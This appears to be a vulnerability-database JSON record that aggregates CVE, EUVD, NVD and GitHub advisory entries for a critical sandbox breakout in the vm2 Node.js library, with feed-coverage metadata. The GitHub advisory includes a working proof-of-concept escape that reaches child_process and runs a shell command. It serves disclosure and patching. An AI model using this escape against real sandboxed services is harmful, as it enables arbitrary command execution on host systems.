{"id":"CVE-2026-44009","revision":null,"records":[{"revision":"2677f66c04204b71abcd07f9a3540650","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44009","aliases":[],"title":"vm2: Sandbox Breakout Through Null Proto Exception","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.","state":0,"publishedAt":"2026-05-13T17:36:07.309+00:00","modifiedAt":"2026-09-07T12:05:03.062+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.11.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44009","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44009","identifiers":["CVE-2026-44009"]},"retained":false,"historicalAffected":[]},{"revision":"30d41efb299049c48843369d4d0682de","observedAt":"2026-10-28T05:17:33.13+00:00","statement":{"source":"euvd","id":"EUVD-2026-30079","aliases":["CVE-2026-44009","GHSA-9vg3-4rfj-wgcm"],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-30079","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 13, 2026, 5:36:07 PM","dateUpdated":"Sep 7, 2026, 12:05:03 PM"},"relatedAdvisories":[{"id":"RHSA-2026:50850","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update","vulnerabilityIds":["CVE-2026-9277","CVE-2026-43997","CVE-2026-43998","CVE-2026-43999","CVE-2026-44000","CVE-2026-44001","CVE-2026-44002","CVE-2026-44003","CVE-2026-44004","CVE-2026-44005","CVE-2026-44006","CVE-2026-44007","CVE-2026-44008","CVE-2026-44009","CVE-2026-45411","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47209","CVE-2026-48068","CVE-2026-48801","CVE-2026-59877"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-30079","identifiers":["EUVD-2026-30079","CVE-2026-44009","GHSA-9vg3-4rfj-wgcm"]},"retained":false,"historicalAffected":[]},{"revision":"e94b5ee4b78747e591987518e352165a","observedAt":"2026-10-27T11:12:09.678+00:00","statement":{"source":"nvd","id":"CVE-2026-44009","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.","state":0,"publishedAt":"2026-05-13T18:16:17.803+00:00","modifiedAt":"2026-10-26T14:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","https://access.redhat.com/errata/RHSA-2026:50850","https://access.redhat.com/security/cve/CVE-2026-44009","https://bugzilla.redhat.com/show_bug.cgi?id=2477185","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44009.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44009","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-668","CWE-653"],"productCriteria":["cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-05-13T18:16:17.803","lastModified":"2026-10-26T14:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44009","identifiers":["CVE-2026-44009"]},"retained":false,"historicalAffected":[]},{"revision":"120f082b680c496a9535c31f170f8e88","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9vg3-4rfj-wgcm","aliases":["CVE-2026-44009"],"title":"vm2 has Sandbox Breakout Through Null Proto Exception","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","state":0,"publishedAt":"2026-05-08T16:20:58+00:00","modifiedAt":"2026-05-14T20:50:10.412463+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","https://nvd.nist.gov/vuln/detail/CVE-2026-44009","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.2"],"sourceUrl":"https://github.com/advisories/GHSA-9vg3-4rfj-wgcm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9vg3-4rfj-wgcm","identifiers":["GHSA-9vg3-4rfj-wgcm","CVE-2026-44009"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-28T08:06:21.3224229+00:00","complete":true,"records":1760,"lastAttemptAt":"2026-10-28T08:06:21.3224229+00:00","lastSuccessAt":"2026-10-28T08:06:21.4738044+00:00","error":null,"lastVerifiedAt":"2026-10-28T08:06:21.473805+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d2186f400c54d65f61687f78bb1a00d184d2e215877d0194d7ed70caee809a44-d3e81f89111bb0d33cac14dd0db97453c7217c57124333cc944f6fba75122549","complete":true,"records":415603,"lastAttemptAt":"2026-10-28T08:06:20.8316261+00:00","lastSuccessAt":"2026-10-28T08:06:20.7809924+00:00","error":null,"lastVerifiedAt":"2026-10-28T08:06:20.8316261+00:00","snapshotPublishedAt":"2026-10-28T07:25:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bb16e205630d4b0ba1f570ba3b772f14","complete":false,"records":12181,"lastAttemptAt":"2026-10-28T08:17:51.3532496+00:00","lastSuccessAt":"2026-10-28T08:17:51.348+00:00","error":"18 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-28T08:17:51.348+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":7482,"expectedIdentifiers":13514,"failedIdentifiers":18},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-28T08:06:21.3224229+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-28T08:06:21.3224229+00:00","lastSuccessAt":"2026-10-28T08:06:21.4745901+00:00","error":null,"lastVerifiedAt":"2026-10-28T08:06:21.4745902+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8d16a738328646698f9217d8ea11893c","complete":true,"records":13449,"lastAttemptAt":"2026-10-28T08:06:22.1670852+00:00","lastSuccessAt":"2026-10-27T22:48:29.491+00:00","error":null,"lastVerifiedAt":"2026-10-27T22:48:29.491+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13514,"expectedIdentifiers":13514,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-f7cb12508d9e6a348c8a60f772ed85529cc80cd2ff853da1099b57754b20e943","complete":true,"records":9790,"lastAttemptAt":"2026-10-28T08:06:21.1851365+00:00","lastSuccessAt":"2026-10-27T21:49:03.9756799+00:00","error":null,"lastVerifiedAt":"2026-10-28T08:06:21.1851365+00:00","snapshotPublishedAt":"2026-10-27T21:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-72e5e79de0026dd0562d40734074a2236a06886643d67182b8381eaee757dbf7","complete":true,"records":1966,"lastAttemptAt":"2026-10-28T08:06:20.9821116+00:00","lastSuccessAt":"2026-10-27T21:46:38.0277323+00:00","error":null,"lastVerifiedAt":"2026-10-28T08:06:20.9821116+00:00","snapshotPublishedAt":"2026-10-27T21:18:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3a5b306d60fc44677a03a8afc99d87e6c5402770ef68d560f94a8c3ad3802b75","complete":true,"records":3001,"lastAttemptAt":"2026-10-28T08:06:21.2896994+00:00","lastSuccessAt":"2026-10-27T16:45:49.0050993+00:00","error":null,"lastVerifiedAt":"2026-10-28T08:06:21.2896994+00:00","snapshotPublishedAt":"2026-10-27T16:33:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-cf3d7f231228fbafaf00b899a3529c24d9add8aab904e519be8d085668fa0c9c","complete":true,"records":230856,"lastAttemptAt":"2026-10-28T08:06:21.0816412+00:00","lastSuccessAt":"2026-10-28T07:08:12.8687117+00:00","error":null,"lastVerifiedAt":"2026-10-28T08:06:21.0816412+00:00","snapshotPublishedAt":"2026-10-28T06:48:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}